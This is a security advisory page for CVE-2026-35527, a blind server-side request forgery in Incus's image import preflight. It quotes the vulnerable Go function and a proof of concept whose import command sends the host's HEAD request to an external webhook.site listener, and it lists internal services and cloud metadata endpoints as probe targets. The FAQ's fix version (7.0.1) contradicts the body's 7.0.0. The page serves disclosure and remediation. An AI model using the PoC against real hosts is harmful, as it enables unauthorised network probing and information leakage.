CVE-2026-35527: Incus blind SSRF via image import preflight HEAD request

Published May 4, 2026
·
Updated

Summary A partial implementation of our restricted.images.servers project restriction allows users in such restricted projects to still cause Incus to send HEAD requests to arbitrary endpoints.

The actual image download will be rejected by the project restriction, but the ability to trigger arbitrary HTTP requests inside of the Incus environment can still be used as a way to discover otherwise hidden details about the environment.

Details The image import flow performs outbound network access to a user-supplied URL before the request is fully validated and before the import is rejected. The URL information helper constructs a HEAD request directly from the supplied source URL and immediately sends it to resolve image metadata.

A host-originated HEAD request is issued from attacker-controlled input during the image import preflight stage. In the observed reproduction, this request is sent before the flow fails on later processing requirements, such as missing image metadata headers. As a result, an authenticated user can coerce the daemon into making blind outbound HEAD requests to arbitrary destinations. This yields a blind server-side request forgery (SSRF) primitive against internal services, unroutable address space, or cloud metadata endpoints reachable by the host. This vulnerability pattern is similar to CVE-2026-24767.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go

Affected Code: func imgPostURLInfo(ctx context.Context, s state.State, r http.Request, req api.ImagesPost, op operations.Operation, project string, budget int64) (api.Image, error) { [...] head, err := http.NewRequest("HEAD", req.Source.URL, nil) if err != nil { return nil, err }

[...]

head.Header.Set("User-Agent", version.UserAgent) head.Header.Set("Incus-Server-Architectures", strings.Join(architectures, ", ")) head.Header.Set("Incus-Server-Version", version.Version)

raw, err := myhttp.Do(head) if err != nil { return nil, err }

hash := raw.Header.Get("Incus-Image-Hash") if hash == "" { return nil, errors.New("Missing Incus-Image-Hash header") }

url := raw.Header.Get("Incus-Image-URL") if url == "" { return nil, errors.New("Missing Incus-Image-URL header") }

info, , err := ImageDownload(ctx, r, s, op, &ImageDownloadArgs{ Server: url, Protocol: "direct", Alias: hash, AutoUpdate: req.AutoUpdate, Public: req.Public, ProjectName: project, Budget: budget, }) [...] }

The following PoC demonstrates that an authenticated user can trigger a host-originated HEAD request to an arbitrary external URL during the image import preflight stage.

Step 1: Select the reproduction project

From an Incus client with access to the target server, switch into the project used for reproduction. In this environment, the selected project was configured as restricted=true with a restrictive restricted.images.servers policy.

Command: incus project switch restricted

Step 2: Trigger the preflight request to an arbitrary URL

From the same Incus client, attempt to import an image from an attacker-controlled or observable URL. In this example, webhook.site is used as an external listener to capture the host-originated request.

Command: incus image import https://webhook.site/0270eca3-4197-4194-97b6-1280f1070c3a --alias my-ssrf-image

Result: Error: Missing Incus-Image-Hash header

Step 3: Verify the outbound HEAD request in the external listener

In the webhook.site request log for the URL above, confirm that the Incus host issued a HEAD request before the import failed. In this reproduction environment, the request originated from a server running Incus v6.22.0.

Result: HEAD /0270eca3-4197-4194-97b6-1280f1070c3a HTTP/1.1 Host: webhook.site User-Agent: Incus 6.22 (Linux; x8664; 6.19.6; Debian GNU/Linux; 13) (zfs 2.4.1-1) Incus-Server-Version: 6.22 Incus-Server-Architectures: x8664, i686

It is recommended to defer all outbound network interaction associated with URL-based image imports, including metadata preflight requests, until after the supplied URL has passed all validation and policy checks required by the import flow. If the import would later fail or be disallowed, the daemon should reject the request before issuing any network traffic.

Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

Other sources

Incus is an open source container and virtual machine manager. In versions prior to 7.0.0, the image import flow issues an outbound HEAD request to a user-supplied URL before validating the request against project restrictions such as restricted.images.servers. The imgPostURLInfo function constructs and sends a HEAD request directly from the attacker-supplied source URL to resolve image metadata, and this network interaction occurs before the flow reaches the point where the import would be rejected by policy. Although the actual image download is blocked by the project restriction, an authenticated user can coerce the daemon into making blind HEAD requests to arbitrary destinations.

These requests include server metadata in custom headers (Incus-Server-Architectures, Incus-Server-Version), which discloses information about the host environment to the attacker-controlled endpoint. This blind SSRF primitive can be used to probe internal services, unroutable address space, or cloud metadata endpoints reachable from the host.

This vulnerability pattern is similar to CVE-2026-24767. This issue has been fixed in version 7.0.0.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/lxc/incus/v6/cmd/incusd<7.0.0
7.0.0
linuxcontainers Incus<7.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/lxc/incus/v6/cmd/incusd to a version that resolves this vulnerability.

    Fixed in 7.0.0
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 7.0.0
  3. Compensating control

    Defer all outbound network interaction (including metadata preflight HEAD requests) for URL-based image imports until after the supplied URL has passed all validation and policy checks required by the import flow.

Event History

May 4, 2026
Advisory Published
via GitHub·04:53 PM
Data Sourced
via GitHub·04:53 PM
DescriptionSeverityWeaknessAffected Software
May 5, 2026
CVE Published
via MITRE·07:56 PM
Data Sourced
via MITRE·07:56 PM
DescriptionWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-35527?

CVE-2026-35527 is identified as a moderate severity vulnerability due to its potential to allow unintended access to resources.

2

How do I fix CVE-2026-35527?

To fix CVE-2026-35527, upgrade the affected software to version 7.0.1 or later.

3

What types of projects are affected by CVE-2026-35527?

CVE-2026-35527 affects projects that have implemented the restricted.images.servers restriction but do not fully enforce it.

4

What impact does CVE-2026-35527 have on image downloads?

CVE-2026-35527 allows users to trigger HEAD requests to arbitrary endpoints, although actual image downloads will be blocked.

5

Who is at risk with CVE-2026-35527?

Users in restricted projects using the affected versions of the Incus server software are at risk with CVE-2026-35527.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203